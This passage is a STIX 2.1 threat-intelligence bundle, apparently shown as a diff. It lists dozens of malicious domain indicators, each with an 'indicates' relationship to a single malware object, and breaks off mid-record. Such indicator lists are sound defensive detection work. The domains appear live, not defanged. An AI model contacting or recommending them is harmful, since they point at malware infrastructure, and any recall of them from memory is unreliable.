"created": "2023-03-29T12:58:44.988934Z", + "modified": "2023-03-29T12:58:44.988934Z", + "relationship_type": "indicates", + "source_ref": "indicator--226b9ed2-dfbb-4d07-9d77-b4440609e5f8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d372b406-5d6f-4912-9735-f4ae189875db", + "created": "2023-03-29T12:58:44.989105Z", + "modified": "2023-03-29T12:58:44.989105Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='caringsunset.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.989105Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--58bb9b42-f8a7-4894-b6b6-7737ce5c2153", + "created": "2023-03-29T12:58:44.9897Z", + "modified": "2023-03-29T12:58:44.9897Z", + "relationship_type": "indicates", + "source_ref": "indicator--d372b406-5d6f-4912-9735-f4ae189875db", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e250c734-e81d-4140-aae9-aaaf47f51b5c", + "created": "2023-03-29T12:58:44.989869Z", + "modified": "2023-03-29T12:58:44.989869Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='arguablycrease.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.989869Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3a143da3-6645-48ae-a789-8b3b3faea2db", + "created": "2023-03-29T12:58:44.990465Z", + "modified": "2023-03-29T12:58:44.990465Z", + "relationship_type": "indicates", + "source_ref": "indicator--e250c734-e81d-4140-aae9-aaaf47f51b5c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d0520549-f4e3-41dd-a117-68cf2bf39442", + "created": "2023-03-29T12:58:44.990649Z", + "modified": "2023-03-29T12:58:44.990649Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='brownnosesqueegee.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.990649Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--250449e7-e0f2-437c-a923-39e76adc428f", + "created": "2023-03-29T12:58:44.991248Z", + "modified": "2023-03-29T12:58:44.991248Z", + "relationship_type": "indicates", + "source_ref": "indicator--d0520549-f4e3-41dd-a117-68cf2bf39442", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ee4cdb87-c6ed-4ea6-85b5-359e8eb5fab3", + "created": "2023-03-29T12:58:44.991414Z", + "modified": "2023-03-29T12:58:44.991414Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='plopbackshift.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.991414Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--63fea9fd-6744-4f84-b6e6-7eca7299b274", + "created": "2023-03-29T12:58:44.992005Z", + "modified": "2023-03-29T12:58:44.992005Z", + "relationship_type": "indicates", + "source_ref": "indicator--ee4cdb87-c6ed-4ea6-85b5-359e8eb5fab3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9eecb2a1-3a46-42e5-8001-ce6953d9cfc4", + "created": "2023-03-29T12:58:44.992172Z", + "modified": "2023-03-29T12:58:44.992172Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sensitiveoblivious.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.992172Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c46aa067-13f7-44dd-b11b-ca8d341f4156", + "created": "2023-03-29T12:58:44.992883Z", + "modified": "2023-03-29T12:58:44.992883Z", + "relationship_type": "indicates", + "source_ref": "indicator--9eecb2a1-3a46-42e5-8001-ce6953d9cfc4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--18764aba-718e-4e9c-a0f6-93a5cddd2f81", + "created": "2023-03-29T12:58:44.993056Z", + "modified": "2023-03-29T12:58:44.993056Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='subsoilviolet.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.993056Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e0fc4943-9882-4820-9758-3c9b7f65287a", + "created": "2023-03-29T12:58:44.993731Z", + "modified": "2023-03-29T12:58:44.993731Z", + "relationship_type": "indicates", + "source_ref": "indicator--18764aba-718e-4e9c-a0f6-93a5cddd2f81", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fcc140fd-1d03-4ada-9d7f-1364ff0738cf", + "created": "2023-03-29T12:58:44.993904Z", + "modified": "2023-03-29T12:58:44.993904Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fresijo.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.993904Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5e5f6243-3cd3-43ed-bc6f-8cac9823bf9f", + "created": "2023-03-29T12:58:44.994493Z", + "modified": "2023-03-29T12:58:44.994493Z", + "relationship_type": "indicates", + "source_ref": "indicator--fcc140fd-1d03-4ada-9d7f-1364ff0738cf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ac28db6-3e3d-4ddc-9222-070eaca74f97", + "created": "2023-03-29T12:58:44.994663Z", + "modified": "2023-03-29T12:58:44.994663Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='paragraphchimp.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.994663Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e543bc90-5529-4712-9a75-9bd9049cc055", + "created": "2023-03-29T12:58:44.995258Z", + "modified": "2023-03-29T12:58:44.995258Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ac28db6-3e3d-4ddc-9222-070eaca74f97", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e2af6136-9e4e-4a91-a159-c76eafd8d2c2", + "created": "2023-03-29T12:58:44.995426Z", + "modified": "2023-03-29T12:58:44.995426Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unwatchedglancing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.995426Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--41c27a81-2269-48bb-93cf-8f585ab63e5a", + "created": "2023-03-29T12:58:44.996031Z", + "modified": "2023-03-29T12:58:44.996031Z", + "relationship_type": "indicates", + "source_ref": "indicator--e2af6136-9e4e-4a91-a159-c76eafd8d2c2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d830fa29-5b08-4100-ab52-2d27dd1ecf5a", + "created": "2023-03-29T12:58:44.9962Z", + "modified": "2023-03-29T12:58:44.9962Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eatingmagazine.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.9962Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a58c4bab-18e9-4dc1-80c5-0991ec15195b", + "created": "2023-03-29T12:58:44.996793Z", + "modified": "2023-03-29T12:58:44.996793Z", + "relationship_type": "indicates", + "source_ref": "indicator--d830fa29-5b08-4100-ab52-2d27dd1ecf5a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d05d0ce1-8af6-4abf-9f64-951619586aed", + "created": "2023-03-29T12:58:44.996961Z", + "modified": "2023-03-29T12:58:44.996961Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='laggedatrium.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.996961Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2fa8d12f-f05b-4455-a776-48762032c50e", + "created": "2023-03-29T12:58:44.997565Z", + "modified": "2023-03-29T12:58:44.997565Z", + "relationship_type": "indicates", + "source_ref": "indicator--d05d0ce1-8af6-4abf-9f64-951619586aed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--17410b44-b945-4dea-b6b1-b9b9c2763e57", + "created": "2023-03-29T12:58:44.997736Z", + "modified": "2023-03-29T12:58:44.997736Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='calpcount.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.997736Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--82abea96-a80c-4fd8-8b25-3bb3274269a5", + "created": "2023-03-29T12:58:44.998317Z", + "modified": "2023-03-29T12:58:44.998317Z", + "relationship_type": "indicates", + "source_ref": "indicator--17410b44-b945-4dea-b6b1-b9b9c2763e57", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8f9f3fd0-339b-405c-855a-cc93cd46113c", + "created": "2023-03-29T12:58:44.99849Z", + "modified": "2023-03-29T12:58:44.99849Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='makethetray.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.99849Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e0a1517b-b063-45a9-b982-92abca237c46", + "created": "2023-03-29T12:58:44.999075Z", + "modified": "2023-03-29T12:58:44.999075Z", + "relationship_type": "indicates", + "source_ref": "indicator--8f9f3fd0-339b-405c-855a-cc93cd46113c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3c13a501-b8de-4fc2-926a-3468b6bebf4b", + "created": "2023-03-29T12:58:44.999246Z", + "modified": "2023-03-29T12:58:44.999246Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gizmosnazzy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.999246Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3045986f-fd1e-4db4-a71c-a3cb77b5369a", + "created": "2023-03-29T12:58:44.999951Z", + "modified": "2023-03-29T12:58:44.999951Z", + "relationship_type": "indicates", + "source_ref": "indicator--3c13a501-b8de-4fc2-926a-3468b6bebf4b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--07f6a0fb-d712-4002-b5fa-5fa678057221", + "created": "2023-03-29T12:58:45.000123Z", + "modified": "2023-03-29T12:58:45.000123Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cautiondisclose.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.000123Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--817bfb9c-d41d-4430-a6f4-70e3e00927a3", + "created": "2023-03-29T12:58:45.001638Z", + "modified": "2023-03-29T12:58:45.001638Z", + "relationship_type": "indicates", + "source_ref": "indicator--07f6a0fb-d712-4002-b5fa-5fa678057221", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b26a69e-fa31-4573-8366-6b9d19f3a7d7", + "created": "2023-03-29T12:58:45.004478Z", + "modified": "2023-03-29T12:58:45.004478Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overeaterpawing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.004478Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--774250e2-5542-4c36-a0ac-85dcaf62bd25", + "created": "2023-03-29T12:58:45.006337Z", + "modified": "2023-03-29T12:58:45.006337Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b26a69e-fa31-4573-8366-6b9d19f3a7d7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--486e180d-5610-4424-8e37-ac2266640b6a", + "created": "2023-03-29T12:58:45.00651Z", + "modified": "2023-03-29T12:58:45.00651Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unlockedabroad.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.00651Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3256105f-c2fd-4fd7-bf66-3918a3b81d7d", + "created": "2023-03-29T12:58:45.007105Z", + "modified": "2023-03-29T12:58:45.007105Z", + "relationship_type": "indicates", + "source_ref": "indicator--486e180d-5610-4424-8e37-ac2266640b6a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--169f6b18-944f-458e-b6ae-4c8d7fac4eac", + "created": "2023-03-29T12:58:45.007277Z", + "modified": "2023-03-29T12:58:45.007277Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='romoncargo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.007277Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--229ee18e-5ddf-45fb-807d-d44ab57d6b79", + "created": "2023-03-29T12:58:45.007866Z", + "modified": "2023-03-29T12:58:45.007866Z", + "relationship_type": "indicates", + "source_ref": "indicator--169f6b18-944f-458e-b6ae-4c8d7fac4eac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2e64607d-11df-4c0c-b5cd-46ee631058f5", + "created": "2023-03-29T12:58:45.008037Z", + "modified": "2023-03-29T12:58:45.008037Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pensionchase.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.008037Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b75a74f5-3c9d-44b1-91d2-6f3e883025c3", + "created": "2023-03-29T12:58:45.008631Z", + "modified": "2023-03-29T12:58:45.008631Z", + "relationship_type": "indicates", + "source_ref": "indicator--2e64607d-11df-4c0c-b5cd-46ee631058f5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8988f451-68c0-4b01-9a7e-7a2cc345ba1d", + "created": "2023-03-29T12:58:45.0088Z", + "modified": "2023-03-29T12:58:45.0088Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='legroomcharacter.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.0088Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--af041f5c-0ee3-4dd1-8656-1291e872544e", + "created": "2023-03-29T12:58:45.009402Z", + "modified": "2023-03-29T12:58:45.009402Z", + "relationship_type": "indicates", + "source_ref": "indicator--8988f451-68c0-4b01-9a7e-7a2cc345ba1d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a9730b78-402d-4d50-92ad-5e8d742085d7", + "created": "2023-03-29T12:58:45.009576Z", + "modified": "2023-03-29T12:58:45.009576Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='upperlair.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.009576Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f700bca-f232-4ead-b66c-8b76e3da8f99", + "created": "2023-03-29T12:58:45.010166Z", + "modified": "2023-03-29T12:58:45.010166Z", + "relationship_type": "indicates", + "source_ref": "indicator--a9730b78-402d-4d50-92ad-5e8d742085d7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4dae6e76-7b6c-413c-a98d-10f6ff6fd82c", + "created": "2023-03-29T12:58:45.010335Z", + "modified": "2023-03-29T12:58:45.010335Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stagereburial.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.010335Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7b5550d4-49a0-4127-95c6-78e45fb3ef1f", + "created": "2023-03-29T12:58:45.010942Z", + "modified": "2023-03-29T12:58:45.010942Z", + "relationship_type": "indicates", + "source_ref": "indicator--4dae6e76-7b6c-413c-a98d-10f6ff6fd82c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--17231093-369c-4876-ae08-e5a1a81fb86e", + "created": "2023-03-29T12:58:45.011113Z", + "modified": "2023-03-29T12:58:45.011113Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='auraupend.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.011113Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6b6689b5-5981-4116-a2bb-c725ebe03c7d", + "created": "2023-03-29T12:58:45.011811Z", + "modified": "2023-03-29T12:58:45.011811Z", + "relationship_type": "indicates", + "source_ref": "indicator--17231093-369c-4876-ae08-e5a1a81fb86e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b3ee5161-2e1a-411e-b3ee-fc377c6b8742", + "created": "2023-03-29T12:58:45.011984Z", + "modified": "2023-03-29T12:58:45.011984Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='landslideserrated.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.011984Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c24ac118-647b-4ac7-a0bb-ca64e8f9df0e", + "created": "2023-03-29T12:58:45.012586Z", + "modified": "2023-03-29T12:58:45.012586Z", + "relationship_type": "indicates", + "source_ref": "indicator--b3ee5161-2e1a-411e-b3ee-fc377c6b8742", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a50ddb05-7ba1-400b-a55a-5fc2343f6a94", + "created": "2023-03-29T12:58:45.012756Z", + "modified": "2023-03-29T12:58:45.012756Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mudneon.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.012756Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bb3afdcf-5ebf-45ec-b9f4-fb9c3e0b0f4e", + "created": "2023-03-29T12:58:45.013341Z", + "modified": "2023-03-29T12:58:45.013341Z", + "relationship_type": "indicates", + "source_ref": "indicator--a50ddb05-7ba1-400b-a55a-5fc2343f6a94", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa5ab690-3bec-45ae-a046-1f45e7f935da", + "created": "2023-03-29T12:58:45.01351Z", + "modified": "2023-03-29T12:58:45.01351Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='throwerstunner.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.01351Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--28a8c49d-fc78-4070-9512-15f47c8bb59a", + "created": "2023-03-29T12:58:45.014105Z", + "modified": "2023-03-29T12:58:45.014105Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa5ab690-3bec-45ae-a046-1f45e7f935da", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7da4136a-2ee7-4dd4-b22f-cd746efbaa4d", + "created": "2023-03-29T12:58:45.014278Z", + "modified": "2023-03-29T12:58:45.014278Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='greenbirdhouse.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.014278Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--97194b0e-cba6-4bca-90b3-05034b12054b", + "created": "2023-03-29T12:58:45.014871Z", + "modified": "2023-03-29T12:58:45.014871Z", + "relationship_type": "indicates", + "source_ref": "indicator--7da4136a-2ee7-4dd4-b22f-cd746efbaa4d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--947cff6e-1755-458e-91d8-6a842b68072d", + "created": "2023-03-29T12:58:45.01504Z", + "modified": "2023-03-29T12:58:45.01504Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='learncarnot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.01504Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b91ae5bd-7ee2-4ce7-a33a-8c0b050b6bab", + "created": "2023-03-29T12:58:45.015627Z", + "modified": "2023-03-29T12:58:45.015627Z", + "relationship_type": "indicates", + "source_ref": "indicator--947cff6e-1755-458e-91d8-6a842b68072d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--257bff30-acd2-4923-b3f4-d247076ed1db", + "created": "2023-03-29T12:58:45.015795Z", + "modified": "2023-03-29T12:58:45.015795Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bellsnature.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.015795Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d1cd8a9a-7d97-4a07-883b-1919f48f59eb", + "created": "2023-03-29T12:58:45.01639Z", + "modified": "2023-03-29T12:58:45.01639Z", + "relationship_type": "indicates", + "source_ref": "indicator--257bff30-acd2-4923-b3f4-d247076ed1db", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e350bd17-65f8-484f-bd72-85686ecf8e2c", + "created": "2023-03-29T12:58:45.016557Z", + "modified": "2023-03-29T12:58:45.016557Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='schnappsthieving.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.016557Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8861278d-2e1c-42d6-8719-5dc1faa23067", + "created": "2023-03-29T12:58:45.017161Z", + "modified": "2023-03-29T12:58:45.017161Z", + "relationship_type": "indicates", + "source_ref": "indicator--e350bd17-65f8-484f-bd72-85686ecf8e2c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--63980fb6-3331-4c0f-8ae5-9aea0882a0d9", + "created": "2023-03-29T12:58:45.01733Z", + "modified": "2023-03-29T12:58:45.01733Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='policeexpansion.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.01733Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--54f5c0c6-993f-4f9e-a5c9-6380430bf168", + "created": "2023-03-29T12:58:45.017928Z", + "modified": "2023-03-29T12:58:45.017928Z", + "relationship_type": "indicates", + "source_ref": "indicator--63980fb6-3331-4c0f-8ae5-9aea0882a0d9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dd1238e1-a576-45b4-a59b-9786c7b6cd30", + "created": "2023-03-29T12:58:45.018097Z", + "modified": "2023-03-29T12:58:45.018097Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='whittawpasseth.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.018097Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7582a1ff-1b84-4caa-9b20-c9c183c6d5e2", + "created": "2023-03-29T12:58:45.018804Z", + "modified": "2023-03-29T12:58:45.018804Z", + "relationship_type": "indicates", + "source_ref": "indicator--dd1238e1-a576-45b4-a59b-9786c7b6cd30", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e30d282-9a0d-419d-a06e-0a7ff3522c8e", + "created": "2023-03-29T12:58:45.018977Z", + "modified": "2023-03-29T12:58:45.018977Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='awardcomprised.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.018977Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d1c98a9-453d-4b3e-bb40-299282eb5892", + "created": "2023-03-29T12:58:45.019573Z", + "modified": "2023-03-29T12:58:45.019573Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e30d282-9a0d-419d-a06e-0a7ff3522c8e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bc7d2eed-bbfe-42d4-981f-4bebf745d4bc", + "created": "2023-03-29T12:58:45.019742Z", + "modified": "2023-03-29T12:58:45.019742Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='taintedpaint.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.019742Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e22c04a6-d1a8-4040-b608-561f41547443", + "created": "2023-03-29T12:58:45.02033Z", + "modified": "2023-03-29T12:58:45.02033Z", + "relationship_type": "indicates", + "source_ref": "indicator--bc7d2eed-bbfe-42d4-981f-4bebf745d4bc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dfdd836a-c4cf-45b4-81d4-765527ec3ef7", + "created": "2023-03-29T12:58:45.020497Z", + "modified": "2023-03-29T12:58:45.020497Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overbookskillet.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.020497Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6ddfaf0d-1db6-4103-b4a6-16ffc0f8128e", + "created": "2023-03-29T12:58:45.021088Z", + "modified": "2023-03-29T12:58:45.021088Z", + "relationship_type": "indicates", + "source_ref": "indicator--dfdd836a-c4cf-45b4-81d4-765527ec3ef7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3c1e5888-5c06-43eb-b2c1-f4ab923653bd", + "created": "2023-03-29T12:58:45.021258Z", + "modified": "2023-03-29T12:58:45.021258Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ignorebobbed.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.021258Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fa6fc458-7766-4657-aaba-9f30ae24d11d", + "created": "2023-03-29T12:58:45.021853Z", + "modified": "2023-03-29T12:58:45.021853Z", + "relationship_type": "indicates", + "source_ref": "indicator--3c1e5888-5c06-43eb-b2c1-f4ab923653bd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a0f9272c-c9fd-46de-8148-36bf85f474a1", + "created": "2023-03-29T12:58:45.022023Z", + "modified": "2023-03-29T12:58:45.022023Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='steamascension.com']", + "pattern_type": 